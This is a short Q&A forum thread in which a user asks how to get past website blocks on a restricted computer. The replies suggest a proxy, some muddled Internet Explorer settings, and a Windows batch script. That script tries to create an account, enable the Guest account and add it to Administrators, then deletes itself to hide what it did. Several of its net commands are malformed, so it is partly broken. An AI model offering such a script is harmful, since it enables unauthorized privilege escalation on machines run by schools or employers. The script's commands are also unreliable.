How to unblock sites without proxies?

whats a good way to unblock a site like or myspace without unblock sites? Unblock sites don't work for me cause they are all blocked as well so yeah. And don't tell me they will know or find out or you shouldn't do it.

use a proxy...
like webunblocker.com

Try this...
In internet explorer (here) so to
Tools-->Internet Options-->Security-->Restricted Sites-->Go to 'sites' button-->type in the site.

Try and gain admin rights in guest account by a BATCH file.

Copy and paste this script in a notepad.

Code:
echo off
title Processing...
cls

net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add

del %0

save as something.bat under all file types and run it.

if you have administrative rights, that should solve your restriction problem.

if notepad is disabled, then right click on a webpage and view source, delete all contents and bam you have a notepad
